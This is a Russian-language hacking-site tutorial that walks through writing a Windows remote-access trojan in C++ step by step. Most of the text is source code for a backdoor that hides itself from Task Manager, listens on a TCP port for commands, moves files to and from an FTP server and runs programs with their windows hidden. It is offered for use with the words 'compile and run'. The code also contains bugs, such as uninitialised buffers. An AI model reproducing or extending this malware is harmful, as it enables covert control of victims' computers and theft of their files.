Информация сайта компьютерной безопасности <<< Hack Style >>> автор текста kiron56 Сегодня мы будем создавать троян, на С++. Для компиляции нам понадобится Visual C++ 6 или 5. Какие пимпы тыкать объяснять не буду, сам не маленький. Скажу только что надо создать Win32 Application, a simple Win32 Application. Теперь подумаем, что этот трой должен делать? Для уменьшения размера оставим самые основные функции: 1. Скачивать файлы с FTP-сервера. 2. Закачивать файлы на FTP-сервер. 3. Запускать проги, двумя способами: скрытный и открытый. Ну вот и всё, теперь приступим к кодингу. Для начала в меню Build - Set Active Configuration - Win32 Release. Теперь тыкай в Project - Settings - Link. Там в поле Object /library module добавь вот это: wininet.lib wsock32.lib. Не добавишь, компилироваться не будет! Так, самая лёгкая часть работы закончена. Теперь приступим непосредственно к кодингу. В окне кода стери всё и напиши вот это: #include "stdafx.h" #include "stdio.h" #include "winsock.h" #include "wininet.h" Заголовочные файлы мы подключили, теперь будем писать объявление переменных (следи за комментариями): /* нужно чтобы стартануть winsock*/ WSADATA wsa; /* собственно первый сокет*/ SOCKET s; /* переменные, в которых будут храниться временные данные */ char* temp; char* temp2; char* temp3; /* заголовки WinInet сеансов */ HINTERNET inet; HINTERNET inet2; /* буффер для хранения поступивших команд */ char buff[1]; /* переменная, по которой мы будем определять, соединены мы с FTP сервером или нет */ bool connected; /* сокет, через который будет идти общение с клиентом*/ SOCKET s1; /* эти структуры необходимы для работу нескольких системных вызовов WinSocket */ SOCKADDR_IN from; SOCKADDR_IN sin; С переменными пока всё. Теперь будем писать основу проги, так что добавь к коду вот это: int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { } Прежде чем будем писать остальное, надо бы подумать о защите от любопытных глаз или CTRL-ALT-DEL. Это делается функцией RegisterServiceProcess из библиотеки kernel32.dll. Эта функция зарегистрирует нашу прогу как безобидный скринсейвер. Добавь к коду это: /* поключаем библиотеку */ HINSTANCE hLib = LoadLibrary("kernel32.dll"); /* объявляем прототип функции */ int (*RegisterServiceProcess)(DWORD dwProcessID, DWORD state); /* получаем адрес этой функции */ (FARPROC &)RegisterServiceProcess = GetProcAddress(hLib, "RegisterServiceProcess"); /* и делаем вызов этой функции */ _asm{ push 0 push 1 call RegisterServiceProcess } Так, теперь приступим к остальному, а именно к работе с сокетами: /* стартуем Winsock 1.1 */ WSAStartup(0x0101, &wsa); /* инициализируем сокет */ s = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); /* указываем семейство протоколов */ sin.sin_family = AF_INET; /* порт для работы */ sin.sin_port = htons(1025); /* указываем адрес сети */ sin.sin_addr.s_addr = INADDR_ANY; /* определяем локальный канал для связи с сетью */ bind( s, (LPSOCKADDR)&sin, sizeof(sin) ); /* слушаем порт */ listen( s, SOMAXCONN); /* определяем размер структуры с информацией о клиенте */ int fromlen=sizeof(from); /* принимаем клиента но уже на другой сокет */ s1 = accept(s,(struct sockaddr*)&from, &fromlen); /* открыть сеанс работы с Инетом */ inet = InternetOpen("Yohoho FTP Trojan", INTERNET_OPEN_TYPE_DIRECT, "", "", 0); Ну чтож, соединение мы установили, сейчас будем команды принимать: while(recv(s1,buff,sizeof(buff),0)!=SOCKET_ERROR) { } Для особо одарённых объясняю: пока клиент не отключится принимаем команды в переменную buff. Ну а теперь собственно команды: while(recv(s1,buff,sizeof(buff),0)!=SOCKET_ERROR) { /* Команда на аплоад. */ if(buff[0] == 'a'){ /* получаем имя приложения */ recv(s1, temp, 32, 0); if(connected){ if(!FtpPutFile(inet2, temp,temp, 0,0)){ send(s1, "Upload Failed", 13, 0); }else{ send(s1, "Upload Completed", 16, 0); } }else{ send(s1, "Hey! You are not connected to FTP server!", 41, 0); } /* Команда на скачивание */ if(buff[0] == 'b'){ /* получаем имя фала */ recv(s1,temp, 32, 0); if(connected){ if(!FtpGetFile(inet2, temp, temp,0,true, FTP_TRANSFER_TYPE_BINARY, 0)){ send(s1, "Download Failed", 15, 0); } else{ send(s1, "Download Completed", 18,0); } }else{ send(s1, "Hey! You are not connected to FTP server!", 41, 0); } } /* Выполняем скрытно приложение (без показа окна программы) */ if(buff[0] == 'c'){ /* получаем имя приложения */ recv(s1, temp, 255, 0); WinExec(temp, SW_HIDE); } /* Тоже самое, но уже с окном */ if(buff[0] == 'd'){ /* получаем имя приложения */ recv(s1, temp, 255, 0); WinExec(temp, SW_SHOW); } if(buff[0] == 'e'){ /* получаем урл сервера*/ recv(s1, temp, 255,0); /* получаем логин */ recv(s1, temp2, 32,0); /* получаем пассворд */ recv(s1, temp3, 32,0); /* коннектимся */ inet2 = InternetConnect(inet,temp,INTERNET_DEFAULT_FTP_PORT,temp2,temp3,INTERNET_SERVICE_FTP, 0,0); if(inet2){ connected = true; }else{ send(s1, "Connect Failed",14, 0); } } } Вроде и всё.... СТОП! Вот конец проги: closesocket(s); closesocket(s1); return 0; Теперь всё! Компилируй и запускай.... Если не получается - подумай, как сделать чтобы пахало! Клиент можно самому написать, благо архитектура простая. Будут вопросы мыльте. Все права защищены ~< KAPMAH >~ www.HackStyle.narod.ru